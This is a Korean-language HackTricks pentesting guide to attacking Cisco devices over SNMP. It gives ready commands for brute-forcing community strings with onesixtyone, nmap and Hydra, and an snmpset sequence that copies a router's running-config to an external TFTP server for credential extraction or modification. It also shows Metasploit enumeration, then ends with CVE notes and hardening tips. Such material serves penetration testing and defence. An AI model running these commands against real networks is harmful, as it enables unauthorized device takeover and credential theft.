96 lines
5.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Cisco SNMP
{{#include ../../banners/hacktricks-training.md}}
## Pentesting Cisco Networks
**SNMP**는 일반 메시지에 대해 **161/UDP** 포트와 트랩 메시지에 대해 **162/UDP** 포트를 사용하여 UDP에서 작동합니다. 이 프로토콜은 SNMP 에이전트와 관리자 간의 통신을 가능하게 하는 평문 "비밀번호" 역할을 하는 *커뮤니티 문자열*에 의존합니다. 이러한 문자열은 접근 수준을 결정하며, 특히 **읽기 전용(RO) 또는 읽기-쓰기(RW) 권한**을 설정합니다.
고전적이지만 여전히 매우 효과적인 공격 벡터는 **커뮤니티 문자열을 무차별 대입**하여 인증되지 않은 사용자에서 장치 관리자(RW 커뮤니티)로 상승하는 것입니다. 이 작업을 위한 실용적인 도구는 [**onesixtyone**](https://github.com/trailofbits/onesixtyone):
```bash
onesixtyone -c community_strings.txt -i targets.txt
```
다른 빠른 옵션은 Nmap NSE 스크립트 `snmp-brute` 또는 Hydra의 SNMP 모듈입니다:
```bash
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
hydra -P wordlist.txt -s 161 10.10.10.1 snmp
```
---
### SNMP를 통한 구성 덤프 (CISCO-CONFIG-COPY-MIB)
**RW 커뮤니티**를 얻으면 CLI 접근 없이 CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`)를 악용하여 실행 중인 구성/시작 구성을 TFTP/FTP 서버로 복사할 수 있습니다. 두 가지 일반적인 접근 방식은 다음과 같습니다:
1. **Nmap NSE `snmp-ios-config`**
```bash
nmap -sU -p161 --script snmp-ios-config \
--script-args creds.snmp=private 192.168.66.1
```
스크립트는 복사 작업을 자동으로 조정하고 구성을 stdout에 출력합니다.
2. **수동 `snmpset` 시퀀스**
```bash
# Copy running-config (4) to a TFTP server (1) random row id 1234
snmpset -v2c -c private 192.168.66.1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo
```
행 식별자는 *일회성*입니다; 5분 이내에 재사용하면 `inconsistentValue` 오류가 발생합니다.
파일이 TFTP 서버에 있으면 자격 증명(`enable secret`, `username <user> secret` 등)을 검사하거나 수정된 구성을 장치로 다시 푸시할 수 있습니다.
---
### Metasploit goodies
* **`cisco_config_tftp`** 동일한 MIB를 악용한 후 TFTP를 통해 running-config/startup-config를 다운로드합니다.
* **`snmp_enum`** 장치 인벤토리 정보, VLAN, 인터페이스 설명, ARP 테이블 등을 수집합니다.
```bash
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 10.10.100.10
set COMMUNITY public
run
```
---
## 최근 Cisco SNMP 취약점 (2023 2025)
벤더 권고 사항을 추적하는 것은 참여 내에서 *제로데이-투-엔데이* 기회를 범위 지정하는 데 유용합니다:
| 연도 | CVE | 영향을 받는 기능 | 영향 |
|------|-----|-----------------|--------|
| 2025 | CVE-2025-20174 | SNMP 서브시스템 | 조작된 패킷이 IOS/IOS-XE (v1/v2c/v3)에서 인증된 *DoS* (재시작)를 유발합니다. |
| 2024 | CVE-2024-20373 | IPv4 ACL 처리 | 잘못 구성된 **확장** ACL이 조용히 *실패*하여 유효한 커뮤니티/사용자가 알려진 경우 인증되지 않은 SNMP 폴링을 허용합니다. |
| 2025 | (아직 CVE 없음) | SNMPv3 구성 제한 우회 | 유효한 v3 사용자가 거부되어야 하는 주소에서 폴링할 수 있습니다. |
악용 가능성은 종종 커뮤니티 문자열이나 v3 자격 증명을 소유하는 데 여전히 의존합니다. 이는 무작위 대입 공격이 여전히 관련성이 있는 또 다른 이유입니다.
---
## 강화 및 탐지 팁
* 수정된 IOS/IOS-XE 버전으로 업그레이드하십시오 (위의 CVE에 대한 Cisco 권고 참조).
* v1/v2c보다 `authPriv` (SHA-256/AES-256)를 사용하는 **SNMPv3**를 선호하십시오.
```
snmp-server group SECURE v3 priv
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
```
* SNMP를 관리 VRF에 바인딩하고 **표준** 번호가 매겨진 IPv4 ACL로 **제한하십시오** (확장된 이름 ACL은 위험합니다 CVE-2024-20373).
* **RW 커뮤니티**를 비활성화하십시오; 운영상 필요할 경우 ACL 및 뷰로 제한하십시오:
`snmp-server community <string> RW 99 view SysView`
* 다음을 모니터링하십시오:
- UDP/161 급증 또는 예상치 못한 출처 (SIEM 규칙).
- 비대역 구성 변경을 나타내는 `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` 이벤트.
* 특정 DoS 벡터를 줄이기 위해 **SNMPv3 로깅**`snmp-server packetsize 1500`을 활성화하십시오.
---
## 참조
- Cisco: *Cisco 장치 간 구성 복사 방법*
- Cisco 보안 권고 *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373)
{{#include ../../banners/hacktricks-training.md}}